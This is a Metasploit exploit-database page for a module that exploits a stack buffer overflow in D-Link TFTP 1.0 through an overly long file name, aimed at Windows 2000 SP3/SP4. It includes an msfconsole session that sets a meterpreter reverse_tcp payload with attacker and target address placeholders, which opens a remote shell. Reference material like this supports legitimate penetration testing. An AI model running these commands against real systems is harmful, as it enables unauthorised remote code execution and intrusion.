D-Link TFTP 1.0 Long Filename Buffer Overflow | Metasploit Exploit Database (DB)

D-Link TFTP 1.0 Long Filename Buffer Overflow

This module exploits a stack buffer overflow in D-Link TFTP 1.0. By sending a request for an overly long file name, an attacker could overflow a buffer and execute arbitrary code. For best results, use bind payloads with nonx (No NX).

Search Other Modules


Exploit Rank

  • Good

Exploit Authors

  • LSO < lso [at] hushmail.com >
  • patrick < patrick [at] osisecurity.com.au >

Vulnerability References


Exploit Targets

  • 0 - Windows 2000 SP4 English (default)
  • 1 - Windows 2000 SP3 English

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/tftp/dlink_long_filename
msf exploit(dlink_long_filename) > show payloads
msf exploit(dlink_long_filename) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(dlink_long_filename) > set LHOST [MY IP ADDRESS]
msf exploit(dlink_long_filename) > set RHOST [TARGET IP]
msf exploit(dlink_long_filename) > exploit


Exploit Module Options

RHOST The target address
RPORT The target port (default: 69)
CHOST The local client address
CPORT The local client port
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session